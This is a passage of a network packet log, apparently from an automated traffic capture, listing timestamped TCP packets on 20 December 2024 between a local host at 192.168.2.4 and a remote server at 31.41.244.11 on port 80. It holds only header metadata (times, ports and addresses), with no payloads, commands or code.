Dec 20, 2024 09:12:43.713901997 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.713954926 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.714031935 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.714083910 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.715105057 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.715151072 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.715171099 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.715215921 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.716264963 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.716351032 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.716407061 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.717439890 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.717490911 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.717559099 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.717677116 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.718591928 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.718641043 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.718709946 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.718755007 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.719767094 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.719810963 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.719886065 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.719933987 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.721549034 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.721601963 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.721656084 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.721736908 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.722153902 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.722210884 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.722239971 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.722285032 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.723289013 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.723330975 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.774544001 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.774725914 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.774733067 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.774777889 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.774991035 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.775043011 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.775094032 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.775219917 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.775902033 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.775955915 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.775963068 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.776000977 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.776823044 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.776890039 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.776907921 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.776942015 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.777787924 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.777832985 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.777838945 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.777883053 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.778695107 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.778749943 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.778803110 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.779572010 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.779619932 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.779870033 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.779921055 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.780453920 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.780507088 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.780611992 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.780728102 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.781375885 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.781429052 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.781487942 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.781613111 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.782291889 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.782340050 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.782852888 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.783219099 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.783267021 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.783310890 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.783374071 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.784084082 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.784137011 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.784176111 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.784241915 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.784950018 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.784997940 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.785058975 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.785109997 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.785794020 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.785834074 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.785908937 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.785950899 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.786688089 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.786757946 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.786818981 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.786890984 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.787549019 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.787597895 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.787672043 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.787722111 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.788480043 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.788527966 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.788575888 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.788619995 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.789316893 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.789367914 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.789386034 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.789427042 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.790201902 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.790263891 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.790280104 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.790334940 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.791048050 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.791094065 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.791114092 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.791174889 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.791908979 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.791984081 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.792016029 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.792073965 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.792716026 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.792762995 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.792809963 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.792853117 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.793605089 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.793659925 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.793668032 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.793715000 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.794444084 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.794523954 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.794574022 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.795376062 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.795412064 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.795471907 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.795583963 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.796128035 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.796178102 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.796243906 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.796303988 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.796961069 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.797003031 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.797066927 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.797107935 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.797760010 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.797817945 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.797888041 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.797925949 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.798544884 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.798589945 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.798644066 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.798686981 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.799366951 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.799417973 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.799484015 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.799525023 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.800199032 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.800226927 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.800247908 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.800282955 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.800925016 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.801013947 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.801105976 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.801191092 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.801691055 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.801780939 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.801800013 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.801840067 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.802458048 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.802499056 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.802602053 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.802642107 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.803208113 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.803245068 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.803304911 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.803455114 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.804877996 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.804924965 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.804929972 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.804940939 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.804965019 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.804975986 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.805013895 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.805058956 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.805460930 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.805510044 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.805562019 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.805605888 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.806224108 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.806301117 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.806325912 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.806514978 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.806966066 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.807018995 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.807024002 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.807070971 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.807765961 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.807802916 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.807811022 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.807847023 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.808387041 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.808444977 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.808487892 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.808541059 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.809104919 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.809149027 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.809206963 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.809253931 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.809830904 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.809886932 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.809892893 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.809941053 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.810508013 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.810568094 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.810672998 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.810723066 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.811208010 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.811311007 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.811393976 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.811641932 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.811939001 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.811991930 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.812053919 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.812100887 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.812601089 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.812643051 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.812717915 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.812808990 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.813319921 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.813436985 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.813484907 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.814029932 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.814088106 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.814099073 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.814131975 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.815655947 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.815790892 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.815840960 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.816020012 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.816076040 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.816124916 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.816168070 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.816657066 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.816719055 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.816792965 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.816834927 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.817303896 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.817353010 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.966650009 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.966674089 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.966691971 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.966710091 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.966736078 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.966797113 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.966840982 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.966897011 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.966914892 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.966958046 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.967633963 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.967683077 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.967689991 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.967725992 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.967737913 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.967768908 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.968434095 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.968478918 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.968489885 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.968524933 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.968538046 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.968570948 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.969237089 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.969283104 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.969293118 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.969329119 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.969338894 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.969373941 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.970021009 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.970066071 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.970093966 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.970129967 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.970139980 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.970177889 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.970808983 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.970909119 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.970916986 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.970953941 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.970999956 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.971615076 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.971668959 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.971671104 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.971707106 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.971752882 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.971752882 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.972502947 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.972537994 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.972557068 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.972573996 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.972580910 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.972616911 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.973198891 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.973253965 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.973289013 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.973294973 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.973309994 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.973998070 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.974047899 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.974051952 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.974087954 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.974103928 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.974137068 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.974813938 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.974863052 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.974869013 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.974908113 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.974958897 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.975610018 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.975662947 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.975665092 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.975708008 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.975714922 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.975764990 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.976394892 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.976447105 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.976452112 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.976486921 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.976500034 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.976536989 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.977207899 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.977260113 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.977262974 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.977298975 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.977313042 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.977346897 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.978001118 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.978055000 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.978091002 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.978100061 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.978137016 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.978802919 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.978849888 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.978857040 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.978893042 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.978938103 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.979604006 CET	80	49855	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:43.979655981 CET	49855	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:43.979659081 CET	80	49855	31.41.244.11	192.168.2.4
